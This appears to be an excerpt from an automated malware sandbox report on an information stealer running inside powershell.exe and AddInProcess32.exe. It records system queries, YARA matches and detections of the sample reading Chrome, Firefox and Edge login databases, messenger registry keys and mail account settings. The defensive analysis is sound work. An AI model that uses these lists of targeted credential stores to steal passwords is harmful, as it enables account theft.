Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: EnumSystemLocalesW,	23_2_00451FD0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 21_2_10002264 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

21_2_10002264

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_0041B69E GetUserNameW,

23_2_0041B69E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_0044942D _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

23_2_0044942D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 29_2_0041739B GetVersionExW,

29_2_0041739B

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: Yara match	File source: 40.2.powershell.exe.1b33d0e6cd0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.1e3b1478da0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.powershell.exe.1a8905a8228.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1ab996e87d0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.powershell.exe.1c222be89d8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1ab996e87d0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.1e3b1478da0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.powershell.exe.1c222be89d8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.powershell.exe.1a8905a8228.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.powershell.exe.1b33d0e6cd0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2290132644.000001AB99151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2364592750.000001E3B1150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2290132644.000001AB99541000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2788200178.000001B33CDBE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2563409063.000001A890401000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1931941329.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2531838956.000001C222A41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7820, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\kanspt.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

23_2_0040BA4D

Contains functionality to steal Firefox passwords or cookies

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\		23_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: \key3.db		23_2_0040BB6B

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal Instant Messenger accounts or passwords

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Dynamic Salt
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Dynamic Salt
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Paltalk

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail

Tries to steal Mail credentials (via file registry)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: ESMTPPassword	30_2_004033F0
